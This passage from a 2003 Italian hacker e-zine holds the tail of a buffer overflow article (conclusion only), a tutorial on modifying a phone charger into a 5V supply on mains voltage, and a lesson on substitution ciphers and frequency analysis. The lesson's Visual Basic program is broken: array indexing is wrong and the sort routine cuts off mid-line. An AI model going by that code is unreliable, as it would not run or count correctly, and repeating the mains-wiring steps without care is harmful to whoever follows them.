una lettura | | incondizionata da un file, il che e' molto utile per semplificarci la | | vita e non avere limiti con il nostro exploit: | | | | http://www.pivx.com/luigi/articles/expdem.txt | | | | | | | | ####################################################################### | | | | | | =========== | | Conclusione | | =========== | | | | | | Beh concludendo spero che ora il concetto di buffer overflow sia molto | | piu' chiaro soprattutto grazie all'utilizzo di un esempio pratico molto | | semplice. | | | | Ricordatevi sempre che certe cose sono piu' difficili da spiegare che | | da capire e che dopo la prima volta che si inizia ad ingranare con | | certi concetti tutto il resto non sara' piu' un problema. | | | | Prima di salutarci ricordatevi anche che la storia dell'informatica non | | e' scritta su nessun libro ma ce l'avete sotto gli occhi, se state | | leggendo quest'articolo sul monitor, in quanto nel vostro PC c'e tutto, | | dall'Assembly, alle protezioni dei softwares, dalle vulnerabilita' a | | qualsiasi altra cosa possiate mai leggere riguardo questo fantastico | | mondo creato molti anni fa' partendo da una costosa ed ingombrante | | calcolatrice. | | | | | | Commenti, correzioni, dettagli od altro sono sempre graditi! | | | | | | BYEZ | | | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ MiSC #09 - 01/06/2003 | | CHARGER HACKiNG [bondo] 0x16/0x20 | +--------------------------------------------------------------------------+ | | | | | CHARGER HACKING | | | | ovvero | | | | come trasformare un caricabatterie (bruciato...) in un alimentatore | | | | | | | | chiunque abbia a che fare con l'elettronica come hobby si trova ad | | aver bisogno di un alimentatore. | | un piccolo (ma veramente piccolo) alimentatore si può ricavare da un | | caricabatterie per cellulari nokia (possibilmente di qualcun'altro) | | con qualche piccola modifica... | | i caricabatterie per i nokia hanno una tensione di uscita di 3.7V - a | | noi serve di 5V, quindi dobbiamo metterci le mani. | | | | DISCLAIMER: il contenuto di questo articolo è fornito senza alcuna | | garanzia e soprattutto senza assicurazioni sulla vita... attenti a | | lavorare con la 220... | | | | | | | | materiale occorrente: | | --------------------- | | - n°1 caricabatterie per cellulari nokia | | - n°1 diodo 1N4001 | | - n°1 condensatore elettrolitico 470uF (micro farad) | | - n°1 integrato 7805 | | - stagno | | - saldatore | | - tester | | - cavi e cavetti | | | | | | procedimento: | | ------------- | | la parte più impegnativa è smontare il caricabatterie... dovete sapere | | che dalle ultime ricerche effettuate su marte, siamo entrati in | | possesso di una tecnologia aliena che ci consente di fabbricare viti | | con la testa non a croce e nemmeno piatta, ma bensì di questa forma | | | | / | | / \ | | ---- \ | | | | è una cosa eccezionale... | | se riuscite a togliere queste tre maledette viti che chiudono il | | contenitore di plastica del trasformatore, siete già a buon punto. | | il mio consiglio è quello di trovare 3 viti che tali si possano | | definire e sostituirle a quelle di fabbrica. | | | | una volta aperto, vi si presenterà davanti un cubetto metallico con | | annesso un circuitino stampato, del tipo: | | | | | | +---------------+ -DDD- diodi 1N4001 | | | | -CC- condensatore | | | | T trasformatore | | | T | o o pin connessi al cavo | | | | | | +---| -DDD- -DDD- |---+ | | | +---------------+ | | | | | -DDD- D | | | | o o / \ -CC- | | | | +---------+ +---------+ | | + - | | | | | | | | la prima operazione da compiere è dissaldare il condensatore perchè non | | serve e anche perchè è bruciato. | | sul retro dello stampato, dove ci sono le due piazzole vuote che erano | | occupate dal condensatore appena tolto, dobbiamo creare un | | cortocircuito tra queste due - possiamo farlo con un cavetto oppure | | direttamente con lo stagno. | | | | adesso si tratta di dimensionare un nuovo condensatore, che però non | | andrà allo stesso posto di quello appena dissaldato (attenzione). | | considerato che il secondario del trasformatore eroga circa 10V, il | | condensatore dovrebbe essere attorno a 1000uF, ma date le dimensioni | | dei condensatori di queste capacità, usiamo un condensatore da 470uF | | che si riesce a far stare all'interno del contenitore | | (bisogna "adattarlo" rompendo un po' di inutili bavette di plastica | | che sono all'interno). | | in termini di prestazioni questo adattamento non crea particolari | | problemi. | | il condensatore va posizionato (se ci stà) al posto dei pin di uscita | | del segnale, facendo ben attenzione a mettere il + nel + e il - nel -. | | nel caso non si chiudesse più il caricabatterie, staccate il | | condensatore, mettetelo da qualche altra parte e collegatelo con 2 | | cavetti. | | | | adesso tocca al raddrizatore di tensione. | | il 7805 è un integrato fatto così: | | | | +-----+ | | | 0 | | | |_____| pin 1. input | | | | 2. massa | | | | 3. output | | +-----+ | | H H H | | U U U | | | | 1 2 3 | | | | come prima cosa, mettiamo all'integrato il diodo di protezione. | | saldiamo il diodo 1N4001 tra il pin 1 e il pin 3. il diodo deve avere | | il catodo (la parte contrassegnata con una stanghetta) rivolta al pin | | 1, in questo modo (fig. 1): | | | | | | +-----+ +-----+ | | | 0 | | 0 | | | |_____| |_____| | | | | | | | | | | | | | | +-----+ +-----+ | | H H H *-D-* | | U U U U U U | | | | | | +|<-+ | | | | fig. 1 fig. 2 | | | | l'ideale sarebbe saldarlo appena sotto il contenitore plastico (fig. | | 2) risparmiando parecchio spazio perchè far stare l'integrato 7805 all' | | interno dell'involucro del trasformatore è un po' problematico. | | il diodo di protezione non è strettamente necessario, però... | | | | la cosa migliore, prima di cominciare a saldare, è incollare | | l'integrato, con un po' di loctite o colla a caldo, al posto del | | vecchio condensatore, con la linguetta metallica che tocca con il | | trasformatore. | | una volta sistemato, passiamo a collegarlo al resto del circuito. | | | | | | armiamoci di cavo e colleghiamo: | | - il pin 1 con il + del condensatore da 470uF, sul retro dello stampato | | - il pin 2 con il - del condensatore e con la massa del cavo d'uscita | | - al pin 3 colleghiamo il segnale del cavo d'uscita | | | | quello che dovremmo avere è una cosa del genere | | | | | | +---------------+ | | | | | | | | | | | T | | | | | | | +---| -DDD- -DDD- |---+ | | | +---------------+ | | | | | -DDD- D | | | | +CC+ / \ --- | | | | +-|--|----+ +---------+ | | | | | | | +--> al pin 2 7805 | | +-----> al pin 1 7805 | | | | | | a questo punto, se avete collegato tutto correttamente, dovreste avere | | un alimentatore da 5V prima di collegarlo alla rete elettrica, | | verificate attentamente i collegamenti con il tester e controllate la | | polarità del condensatore (hanno la particolarità di scoppiare se | | collegati inversamente...) | | | | e questo è tutto... | | | | - bondo - | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ MiSC #09 - 01/06/2003 | | GUARDA GUARDA CHE Ti LEGG0 iL W0RD [Dagart] 0x17/0x20 | +--------------------------------------------------------------------------+ | | | | | Autore: come sempre il vostro Dagart!! | | Ore: d_tupreuednzuteeor__o (é o no un testo di introduzione alla | | crittoanalisi?!?!) | | Titolo: Guarda Guarda che ti leggo il Word - Lezione 1 (Prima Parte) - | | Sostituzione | | | | Stavo giocando come al solito a Warcraft III (che palle sempre a | | quello?!? E che ci volete fare!!! Per la cronaca: ho risolto il | | problema [vedi lesson precedente]!!! Windows XP va in conflitto con la | | mia scheda video e ho dovuto creare una partizione con Windows ME per | | giocare 'FINALMENTE' in modo decente. Comunque ...) quando mi sono | | detto: "Bah! Ho appena fatto una strage di elfi e mi accingo a fare | | una piadina di orchi ... perchè non continuare a scrivere gli articoli | | sulla crottografia ?!?! Magari riesco ad inserirlo sul numero di | | ottobre!!!). | | | | Comunque ... tornando a noi ... nella lezione precedente (appunto la | | lezione 0) abbiamo discusso la generalità della crottografia e della | | crittoanalisi introducendo concetti come algoritmi biunivoci f(x), | | complessità, reversibilità e via dicendo. | | | | Come descritto nel programma oggi parleremo della crittografia a | | SOSTITUZIONE. In particolar modo la lezione sarà suddivisa in tre | | grossi tronconi: | | | | Prima Parte -> Descrizione Generale dell'Algoritmo | | Seconda Parte -> Analisi degli Algoritmi introdotti | | Terza Parte -> Confronto Generale | | | | Detto ciò ... non possiamo fare altro che cominciare! Tiriamo su le | | maniche ... facciamo un profondo respiro e ... immergiamoci in questo | | pazzo mondo! | | | | P.S.: Molto spesso farò riferimento a descrizioni matematiche di | | funzioni (generalmente sono nozioni che si imparano in un qualsiasi | | corso di matematica di scuola superiore). Ad ogni modo, nel limite del | | possibile (senza eludere dallo scopo del testo) cercherò di | | semplificare e spiegare perlomeno le parti più astruse. Detto | | ciò: "BUONA LETTURA!" :P | | | | **************************************************** | | * Prima Parte: Descrizione Generale dell'Algoritmo * | | **************************************************** | | | | Sebbene molti testi decidano di dividere la sostituzione in due grossi | | tronconi, ovvero in sostituzione letterale (in relazione alla | | sostituzione di una lettera con un'altra) e sostituzione algebrica | | (dove ad ogni lettera è associato un valore il quale è sostituito, | | seguendo una funzione di crittazione f(x), ad un altro che a sua volta | | corrisponde al vero e proprio valore C di crittazione), in realtà | | preferisco non effettuare alcuna distinzione in quanto entrambi | | possono essere ricondotti al medesimo gruppo ... ovvero la | | sostituzione algebrica. | | | | Se dovessimo rappresentare in modo molto semplice un algoritmo a | | sostituzione potremo in realtà definirlo come "un algoritmo di | | crittazione in grado di sostituire il carattere (o la lettera, o il | | valore, o ... beh insomma quello che volete!) con un qualsiasi altro | | differente dal primo seguendo un algoritmo reversibile". | | | | Quindi si definiscono algoritmi a sostituzione tutti gli algoritmi in | | grado di associare ad una valore M un valore C secondo lo schema: | | | | M -- f(x) --> C | | | | dove f(x) è la funzione di crittazione a sostituzione. | | | | In particolar modo dalla definizione data possiamo dedurre che, per un | | algoritmo a sostituzione, è necessario possedere: | | | | 1. Un CharSet (= set di caratteri utilizzabili) di caratteri a cui è | | associato un valore univoco | | 2. Una funzione di crittazione f(x) | | | | Tralasciando il primo punto, che mi sembra al quanto ovvio, possiamo | | invece soffermarci sul punto 2 e constatare le caratteristiche che la | | funzione di crittazione f(x) deve possedere. | | | | Poichè abbiamo precedentemente detto che ad ogni valore M è necessario | | associare (utilizzando f(x)) un valore univoco C secondo lo schema M--f | | (x)-->C possiamo facilmente constatare che la funzione alla base | | dell'algoritmo deve necessariamente essere una funzione crescente (o | | decrescente). Se infatti la funzione non fosse monotona crescente (o | | decrescente) portemmo associare a più valore di M il medesimo valore C | | che, come accennato nella lezione 0, non farebbero altro che ridurre | | l'entropia del messaggio ma aumentando notevolmente la complessità del | | sistema (a questo proposito spero, quando avrò tempo [sigh!], di | | scrivere un articolo sull'entropia dell'informazione ...) e rendendo | | quindi impossibile la decifrazione (anche conoscendo l'algoritmo di | | crittazione e la chiave di cifratura). | | | | Secondo tale definizione allora ... possiamo solo usare come algoritmi | | di cifratura a sostituzione tutte quelle funzioni (o parte di | | funzioni) che in realtà possiedono per tutto il campo di definizione | | (ovvero tutti i valori in entrata) una funzione monotona crescente (o | | decrescente). | | | | Prendiamo ad esempio in considerazione la funzione elementare y = f(x) | | = mx + q dove m e q sono le chiavi di cifratura, x (o M il che è li | | stess!!) è il carattere in entrata da cifrare e y (o C ... stessa | | solfa) è il carattere cifrato in uscita. | | | | Studiando la funzione f(x) scopriamo: | | - se non conosciamo m e q (le chiavi dell'algoritmo) non possiamo | | ricavare direttamente x da y. | | - f(x) è una funzione reversibile (ovvero esiste una funziona f(x)^-1 | | tale che dato y come carattere in entrata dia x come carattere in | | uscita) | | - f(x) dà sempre valori interi per x intero (quindi al charset deve | | sempre essere associato un valore intero) | | | | Quindi la funzione y = f(x) = mx + q può essere utilizzata come | | algoritmo di cifratura a sostituzione. | | | | Esempio: | | | | CharSet: [A..Z] = [1..26] | | f(x): mx + q | | m: 3 | | q: 2 | | | | Frase non Cifrata: ALGORITMO A SOSTITUZIONE | | | | Cifratura ... | | | | A = 1 -- f(x) --> 05 | | L = 12 -- f(x) --> 38 | | G = 7 -- f(x) --> 23 | | .. | | | | Frase Cifrata: 053823475629624147 05 594759622962658029474417 | | | | Prendiamo invece in esame la funzione y = f(x) = logaritmo in base B | | di x (che da ora in poi verra scritta come log$b$(x) ) dove b è la | | chiave di cifratura. | | | | Studiando la funzione f(x) scopriamo: | | - solo conoscendo la chiave è possibile decifrarlo immediatamente | | - è una funzione crescente monotona per x > 1 | | - è una funzione reversibile | | - non è quasi mai intera | | | | Sebbene a prima vista possa sembrare utilizzabile ... in realtà senza | | particolari accirgimenti non è utilile come algoritmo: infatti questa | | funzione non è quasi mai intera. Quindi, se volessimo utilizzare | | valore interi per la cifratura ... dovremmo troncare i valori decimali | | in uscita ottenendo in questo modo non più una funzione monotona ma | | una funzione in cui i valori si ripetono. Se volessimo a tutti i costi | | utilizzarla dovremmo preparare alcuni accorgimenti. Ad esempio | | potremmo memorizzare come valore di cifratura il valore double (4 | | byte) del decimale in uscita oppure potremmo moltiplicare il valore in | | uscita per una costante z in modo tale da ottenere interi diversi per | | ogni valore in entrata. Quindi ... sbizzaritevi! | | | | Quindi, generalizzando, possiamo utilizzare tutte le funzioni | | polinomiali del tipo: | | --> a(0)b^0 + a(1)b^1 + a(2)b^2 + ... + a(n)b^n | | oppure tutte le funzioni monotone crescenti (o decrescenti) con gli | | accorgimenti dovuti secondo il caso. | | | | Arrivati a questo punto non posso che dire di aver concluso la prima | | parte e, l'unica cosa che mi rimane da fare, e accennare i modelli | | generali di algotmi che utilizzano la cifratura per sostituzione. Tali | | algoritmi si classificano in: | | | | * Cifratura a Sostituzione | | --> Cifratura Lineare | | --> Cifratura a funzione monotona crescente (o decrescente) | | --> Sostituzione Semplice | | (Algoritmo di Cesare) | | --> Sostituzione a Charset Casuale | | --> Sostituzione a Blocchi | | (Algoritmo di Vigenère) | | --> Cifratura in funzione della posizione | | --> Cifratura a funzione Variabile | | (Algoritmo FPos) | | --> Cifratura con Algoritmo Enigma | | (Seconda Parte) | | --> Cifratura Semplice One-Time Pad | | (Seconda Parte) | | | | Dopo questo bellissimo schema possiamo accingerci all'introduzione | | della seconda parte che descrive in particolare tutti gli algoritmi | | sopra citati. | | | | Quindi ... dopo una pausa di un'oretta che ora mi prenderò (magari | | sorseggiando all'inglese un po' di te! :P) comincierò a scrivere la | | seconda puntata dell'avvincente saga ... "GUARDA GUARDA CHE TI LEGGO | | IL WORD"!!! | | | | ***************************************************** | | * Parte Seconda: Analisi degli Algoritmi introdotti * | | ***************************************************** | | | | Haloa Guys! Eccoci qui dopo la mia meritata pausa per ricominciare a | | scrivere nuovamente e completare finalmente la lezione di oggi. | | | | Come precedentemente schematizzato e accennato, in questa sezione | | verranno discusse le tecniche crittografiche che fanno uso | | dell'algoritmo a sostituzione. | | | | Per coloro a cui piace un po' di storia possiamo dire che l'algoritmo | | di cifrazione è uno degli algoritmi più vecchi al mondo: addirittura | | lo stesso Cesare era dedito utilizzare un'algoritmo di cifrazione a | | sostituzione per impartire i comandi alle proprie truppe in modo tale | | che le informazioni non potessero essere scoperte dai nemici. | | Successivamente gli algoritmi di cifratura a sostituzione vennero | | utilizzati nei più disparati modi e nelle diverse epoche storiche: | | nell'ottocento fu messo appunto un'algoritmo a blocchi (il cosiddetto | | algoritmo di Vigenère) il quale fu considerato per diverso tempo | | l'algoritmo a sostituzione più affidabile mentre durante la seconda | | guerra mondiale veniva utilizzato per la trasmissione crittata di | | informazione da parte dell'esercito tedesco di un algoritmo che | | affidava la sua sicurezza all'utilizzo di un algoritmo di sostituzione | | a funzione variabile ... | | | | Tuttavia, sebbene tutti questi illustri precedenti ... l'algoritmo a | | sostituzione possiede un'enorme limitazione (che tratteremo | | nell'ultima parte) che ne limita fortemente l'uso. | | | | Ad ogni modo ... bando alle ciance e cominciamo!! | | | | +--------------------------------------------+ | | | Sostituzione Semplice: Algoritmo di Cesare | | | +--------------------------------------------+ | | | | Probabilmente l'algoritmo a sostituzione semplice è uno dei più | | semplici algoritmi esistenti al mondo ed è probabilmente uno dei primi | | algoritmi di cifratura utilizzati nella storia (documentata!!) umana. | | | | L'algoritmo di cifratura semplice consiste nel sostituire ad una | | lettera del CharSet iniziale una lettere che prende n posizioni | | successive. Ovviamente, senza dimostrazioni ovvie, l'algoritmo di | | cifratura possiede la seguente forma: | | | | f(x) = x + k | | | | dove x equivale al valore della lettera nel CharSet mentre k equivale | | alla costante di spostamento all'interno del CharSet (la quale | | diventerà ovviamente la nostra chiave di cifratura). In realtà, per | | essere più precisi, l'algoritmo di cifratura ha la forma: | | | | f(x) = (x + k) mod m | | | | dove m è il valore massimo del CharSet (dove ovviamente si è posto | | come valore più piccolo lo zero). | | | | Esempio: | | | | CharSet: [A..Z] = [0..25] | | Frase: VENI VIDI VICI | | Chiave: +3 | | Frase Cifrata: YHQL YLGL YLFL | | | | Tralasciando per un momento l'analisi crittografica del sistema (che | | tratteremo più approfonditamente nel prossimo algoritmo), possiamo | | comunque notare l'ESTREMA DEBOLEZZA dell'algoritmo facendo | | semplicemente un ragionamento per un eventuale attacco di tipo Brute- | | Force. Prendiamo infatti in considerazione la chiave di cifratura: | | essa non è nient'altro che un numero compreso tra 0 e 25 (certo: è un | | idiota colui che non solo utilizza questo algoritmo ma che utilizza | | anche come chiave il valore k=0, :P ). Di conseguenza, le possibili | | combinazioni non sono che solo 25!!! Basterà quindi prendere una | | porzione sola del testo (per non sovraccaricare la mente o la CPU), | | provare tutte e 25 le combinazioni e verificare quale di queste darà | | come risultato un testo comprensibile ... | | | | Per ottimizzare il sistema di crittoanalisi ed elevarlo dalla semplice | | forza bruta possiamo utilizzare dei piccoli accorgimenti che | | torneranno sempre utili in un'analisi crittografica: ad esempio, se il | | testo è un testo in italiano, si possono provare n caratteri a caso e | | verificare che questo non diano una lettera che solitamente non è | | presente in un testo in italiano. Se ad esempio utilizzo la chive k=7 | | mi accorgo che nel testo che sto cercando di decifrare la lettera J | | compare 4 volte per 10 lettere prese a caso, vorra dire che MOOOOLTO | | probabilmene tale chiave è errata e quindi può essere immediatamente | | sostituita. Inoltre ... sapendo che ad ogni lettera corrisponde sempre | | lo stesso alter ego, se in una frase vedete una lettera isolata e | | staccata dalle altre (sempre se l'algoritmo non prevede l'eliminazione | | degli spazi ma ... non preoccupatevi! C'è un rimedio anche a questo!) | | non può che essere (sempre se consideriamo il testo in italiano) una | | vocale (esclusa la u ... ovviamente). In tal caso ... le combonazioni | | da provare scendono drasticamente a 4!!! | | | | Dopo queste rivelazioni viene spontaneo chiedersi ... "E' forse per | | questo che Giulio Cesare perse?" | | | | +--------------------------------+ | | | Sostituzione a Charset Casuale | | | +--------------------------------+ | | | | Ora complichiamo un po' le cose: il primo algoritmo che vi ho | | presentato era molto semplice per condiscenza dei Newbye che come me | | (ai bei tempi addietro) devono cominciare ... ma! E' ora di cominciare | | a trattare qualcosa di leggermente più difficile. | | | | Supponiamo infatti che la chiave non sia più il numero di traslazioni | | all'interno del Charset ma che sia proprio il Charset! Per chiarire il | | concetto prendiamo in considerazione la frase: | | | | Frase: DOMANI IL SOLE BRILLA | | | | (E' tardi ... lo so ... non chiedetemi esempi più Brillanti! d:) ) | | | | Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ | | Chiave: QPWOEIRUTYALSKDJFHGZMXNCBV | | | | Frase Cifrata: ODSQKT TL GDLE PHTLLQ | | | | Come si può facilmente vedere dalla chiave, l'algoritmo risulta essere | | più complesso: infatti, se utilizzassimo un attacco del tipo Brute- | | Force dovremmo tentare 26*25*24*...*3*2*1 che equivale a 26! | | =403'291'461'126'605'635'584'000'000 combinazioni (ovvero un numero | | dell'ordine di 10^26)!!! | | | | Ovviamente noi non siamo qui per utilizzare attachi Brute-Force ma per | | cominciare a muovere i primi passi verso l'analisi crittografica. | | | | La debolezza dell'algortimo a sostituzione, che si percuote in tutte | | le sue forme, è sempre la medesima: ovvero, il carattere in entrata M | | equivale SEMPRE al carattere in uscita C. Nel nostro esempio, il | | carattere A equivale nel testo SEMPRE al carattere Q: dom'A'ni | | (ods'Q'kt), brill'A' (phtll'Q'), e così per tutte le altre lettere del | | Charset. Quindi, in riferimenti alla grammatica della lingua (in | | questo testo ovviamente mi riferiro alla grammatica italiana) si | | possono notare dei piccoli particolari che faranno cedere l'algoritmo | | rendendo facile il lavore del crittoanalista. Prendiamo in esame un | | testo in cui gli spazi sono mantenuti (verranno trattati i testi in | | cui anche lo spazio è o eliminato o sostituito un po' più avanti): | | com'è facile osservare, la lingua italiana è piena di articoli la cui | | lunghezza varia da 1 carattere (i), 2 caratteri (il, lo, la, le) e 3 | | caratteri (gli) ed è inoltre stracolma di schifezzuole come | | preposizioni, pronomi personali, ... di lunghezza medio bassa. | | Tuttavia possiamo sicuramente affermare che gli articoli compaiono con | | una frequenza maggiore. Sapendo che tal parola composta da due lettere | | è SICURAMENTE un articolo è possibile cominciare a sostituire le | | lettere corrispondenti all'articolo per tutto il testo. Procedendo | | così a tentativi per tutto il testo è possibile, nel tempo massimo di | | mezz'ora, risolvere un qualsiasi testo in questo modo cifrato. | | | | Per aiutare ulteriormente il crittoanalista vengono in aiuto le regole | | di composizione delle parole: è infatti noto in ogni lingua una serie | | di regole generali che giudano la formazione delle parola. Ad esempio | | nella lingua italiana non comparirà MAI la parola shke in quanto | | generalmente le parole della lingua italiana non si presentano in | | questa forma (sebbene le eccezioni che confermano la regole ne | | esistono aiosa!). Quindi, vocabolario italiano (o inglese, o quel | | cavolo che volete!) alla mano, è possibile ricercare le regole | | generali per la composizione delle parole. Siccome questa sera mi | | sento particolarmente buono, scriverò le principali (ovvero in realtà | | quelle che mi vengono in mente sul momento!): | | | | 1. La sillaba più lunga possiede al massimo 4 lettere | | 2. Ogni sillaba possiede almeno 1 lettera | | 3. Ogni sillaba finisce con una vocale | | 4. La lettera H è sempre preceduta dalla lettera C o G e precede la | | vocale E o I (tranne nel caso di HOTEL) | | 5. Generalmente, se una parola è più lunga di quattro lettere finisce | | quasi sempre con una vocale | | 6. Salvo poche eccezioni, se una parala è più lunga di quattro lettere | | inizia quasi sempre con una consonante | | 7. Se la lettera R si trova in seconda o in penultima posizione è | | SEMPRE preceduta da una consonante | | 8. Dopo la lettera Q si trova sempre la lettera U | | | | Considerando questo leggi banali della grammatica italiana e | | aiutandosi con gli articoli è SEMPRE (è dico SEMPRE) possibile | | attacare un qualsiasi testo crittato nei modi precedentemente | | descritti. | | | | Tutto questo bellissimo ragionamento ovviamente funziona se | | consideriamo un algoritmo che non elimina gli spazi ma ... cosa | | succederebbe se TUTTI gli spazi venissero eliminati??!? Beh... le cose | | si complicherebbero un pochino (in quanto infatti non possiamo con | | certezza suddivedere gli elementi di una frase in articoli, pronomi, | | chissàchealtro, ...) ma ... siamo qui per questo!!! | | | | Prendiamo in esame la stessa frase di prima: | | | | Frase: DOMANI IL SOLE BRILLA | | | | Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ | | Chiave: QPWOEIRUTYALSKDJFHGZMXNCBV | | | | Frase Cifrata: ODSQKT TL GDLE PHTLLQ | | Frase Cifrata senza Spazi: ODSQKTTLGDLEPHTLLQ | | | | E' ovvio che la decifratura della frase cifrata senza spazi comporta | | la formazione di un messaggio in chiaro senza spazi (ricordate la | | teoria dell'informazione...), quindi, come ad esempio, otterremo la | | frase decifrata dal testo cifrato precedente: | | | | Frase Cifrata senza Spazi: ODSQKTTLGDLEPHTLLQ | | Frase Decifrata: DOMANIILSOLEBRILLA | | | | ma, naturalmente, essendo un italiano leggibile è possibile capire | | ugualmente il senso di una frase anche in assenza degli spazi. | | | | Tuttavia, se siete amanti della precisione, è possibile inserire nel | | Charset 'anche' (non è detto che sia necessario) un carattere relativo | | allo spazio. Quindi, considerando sempre l'esempio precedente: | | | | Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ_ | | Chiave: QPWOEIRUTY_LSKDJFHGZMXNCBVA | | | | Frase: DOMANI_IL_SOLE_BRILLA (per semplicità ho sostituito lo spazio | | con il carattere '_') | | Frase Cifrata: ODSQKTATLAGDLEAPHTLLQ | | | | Tuttavia vedrete successivamente che è meglio evitare di codificare | | anche lo spazio (se questo è possibile), soprattutto se utilizzate un | | algoritmo a sostituzione. | | | | | | Ovviamente arrivati a questo punto voi vi starete chiedendo: come | | acciderbolina (?) comincio la crittoanalisi. Ma ... niente paura ... | | ora tutto vi sarà rivelato! | | | | Prendiamo sempre in considerazione la precedente chiave cifrata (... e | | che vi devo dire! Quando cambieremo la cifratura cambierò anche | | l'esempio!!): | | | | Charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ | | Chiave: QPWOEIRUTYALSKDJFHGZMXNCBV | | | | Frase: DOMANIILSOLEBRILLA | | Frase Cifrata: ODSQKTTLGDLEPHTLLQ | | | | Se avete una vista aguzza noterete che esistono lettere che più di | | altre si ripetono. In particolar modo notiamo che sono le vocali ad | | avere una frequenza maggiore. Voi direte: "E' ovvio ... sono quelle | | che necessariamente si ripetono più spesso!". Ma estendendo il | | discorso ad un livello più generale possiamo afferemare che nella | | lingua italiana (come del resto in ogni lingua) esistono lettere che | | si ripetono più spesso di altre: ad esempio la vocale A e la vocale E | | sono presenti quasi sempre in ogni parola mentre la vocale U si | | presenta poche volte. Possiamo inoltre fare lo stesso ragionamento | | anche alle consonanti: ad esempio le lettere S, L, P, R si presentano | | con una fraquenza maggiore, ad esempio, delle consonanti H e Z. Tutto | | questo può essere ulteriormente generalizzato utilizzando le | | condizioni statistiche: infatti prendendo un testo standard (ovvero un | | testo molto semplice non specialistico relativo alla lingua in | | considerazione) è possibile affermare che la frequenza delle lettere | | all'interno di quel testo è identica a qualsiasi altro testo standard. | | In particolar modo possiamo ulteriormente afferemare che la frequenza | | delle lettere risulta sempre più generale al crescere della dimensione | | del testo standard. | | | | Quest'ultima afferemazione è semplice da verificare: infatti prendendo | | un testo molto piccolo (magari 15 lettere) in qui è presente la | | lettera H (ad esempio la frase: OGGI SONO IN HOTEL) sarebbe semplice | | affermare che la lettera H possiede una frequenza del 1/15 % (ovvero | | all'incirca del 7%) cosa del resto impossibile. Quindi, affinchè sia | | possibile estendere il concetto di frequenza di un testo standard ad | | altri testi standard, è necessario utilizzare testi di dimensioni | | molto grandi (almeno di 10000 caraetteri esclusi gli spazi). | | | | Per poter andare avanti nella trattazione soffermiaci un momento | | nell'analisi della frequenza di un testo standard, come ad esempio: | | | | TITOLO: Madame Bovary | | AUTORE: Gustave Flaubert | | TRADUZIONE: Bruno Oddera | | DIRITTI D'AUTORE: Sì | | FONTE: Liber Liber | | CAPITOLO: IV | | | | E scandiamo il testo con un programma in grado di analizzare la | | frequenza dei caratteri. Perchè mi sento buono oggi, vi scrivo un | | breve programma in VB che permette di fare ciò. | | | | ---------------------------- Inizio Programma ------------------------- | | --- | | | | '+------------+-------------+ | | '| Componente | Name | | | '+------------+-------------+ | | '| Form | -> MainForm | | | '+------------+-------------+ | | '| | -> Entrata | | | '| Button | -> Uscita | | | '| | -> Elabora | | | '+------------+-------------+ | | '| Label | -> LEntrata | | | '| | -> LUscita | | | '+------------+-------------+ | | ' | | 'Il programma calcola la frequenza dei singoli caratteri (senza | | distinzione tra | | 'maiuscole e minuscole) tralasciando caratteri speciali e di | | formattazione. | | ' | | 'L'algoritmo può essere ulteriormente implementato migliorando ad | | esempio la funzione | | 'di Ordinamento | | | | 'Program created by Dagart. | | | | Dim Frequenze(0 to 25, 0 to 1) as Integer | | '[a..z] = [97..122] | | '[A..Z] = [65..90] | | Dim Totale as Long | | | | sub Form_Load() | | | | MainForm.Caption = "Analisi delle Frequenze di un testo" | | Entrata.Caption = "File in Entrata" | | Uscita.Caption = "File in Uscita" | | Elabora.Caption = "Elabora il Testo" | | LEntrata.Caption = "" | | LUscita.Caption = "" | | | | end Sub | | | | sub Entrata_Click() | | | | LEntrata.Caption = InputBox("Inserisci il percorso ed il nome | | completo del File di Origine...") | | | | end Sub | | | | sub Uscita_Click() | | | | LUscita.Caption = InputBox("Inserisci il percorso ed il nome | | completo del File di Uscita...") | | | | end Sub | | | | sub Elabora_Click() | | | | dim Valore as Byte | | | | Inizializza | | | | Open LEntrata.Caption for Binary as #1 | | | | Do While Not EOF(1) | | | | get #1,,Valore | | Calcola(Valore) | | | | Loop | | | | Close #1 | | | | Totale = 0 | | For i = 0 To 25 | | Totale = Totale + Frequenze(i) | | Next i | | | | Open LUscita.Caption for Output as #1 | | | | For i = 0 to 25 | | | | Print #1, "La lettera " & chr(Frequenze(i,0) | | +65) & " è Uscita " & Frequenze(i,1) & " Volte. (Frequenza = " & Int | | (Frequenze(i,1) / Totale) & " %" | | | | Next i | | | | Close #1 | | | | end Sub | | | | '###################################################### | | | | sub Inizializza() | | | | for i = 1 to 25 | | | | Frequenze(i,0)=i | | Frequenze(i,1)=0 | | | | next i | | | | end sub | | | | sub Calcola(Entrata as Byte) | | | | 'Non vengono effettuati i calcoli di frequenza sui caratteri | | speciali | | 'Non vengono fatte distinzioni tra Maiuscole e Minuscole | | if Entrata=>65 AND Entrata<=90 then Frequenze(Entrata-65,1) | | =Frequenze(Entrata-65,1)+1 | | if Entrata=>97 AND Entrata<=122 then Frequenze(Entrata-97,1) | | =Frequenze(Entrata-97,1)+1 | | | | end Sub | | | | sub Ordina | | | | dim Provv(0 to 1) as Integer | | | | for i = 1 to 25 | | for j = 1 to 24 | | if Frequenze(j,1) dagart@mad.scientist.com | | '----------------------------- Fine Programma ------------------------- | | ---- | | '---------------------------------------------------------------------- | | ---- | | | | Il risultato in uscita è questo: | | | | La lettera A è Uscita 1235 Volte. (Frequenza = 12,86 %) | | La lettera I è Uscita 1056 Volte. (Frequenza = 11,00 %) | | La lettera E è Uscita 929 Volte. (Frequenza = 9,67 %) | | La lettera O è Uscita 886 Volte. (Frequenza = 9,23 %) | | La lettera N è Uscita 712 Volte. (Frequenza = 7,41 %) | | La lettera L è Uscita 654 Volte. (Frequenza = 6,81 %) | | La lettera T è Uscita 616 Volte. (Frequenza = 6,41 %) | | La lettera R è Uscita 606 Volte. (Frequenza = 6,31 %) | | La lettera S è Uscita 510 Volte. (Frequenza = 5,31 %) | | La lettera C è Uscita 502 Volte. (Frequenza = 5,23 %) | | La lettera D è Uscita 348 Volte. (Frequenza = 3,62 %) | | La lettera U è Uscita 287 Volte. (Frequenza = 2,99 %) | | La lettera P è Uscita 247 Volte. (Frequenza = 2,57 %) | | La lettera V è Uscita 242 Volte. (Frequenza = 2,52 %) | | La lettera M è Uscita 181 Volte. 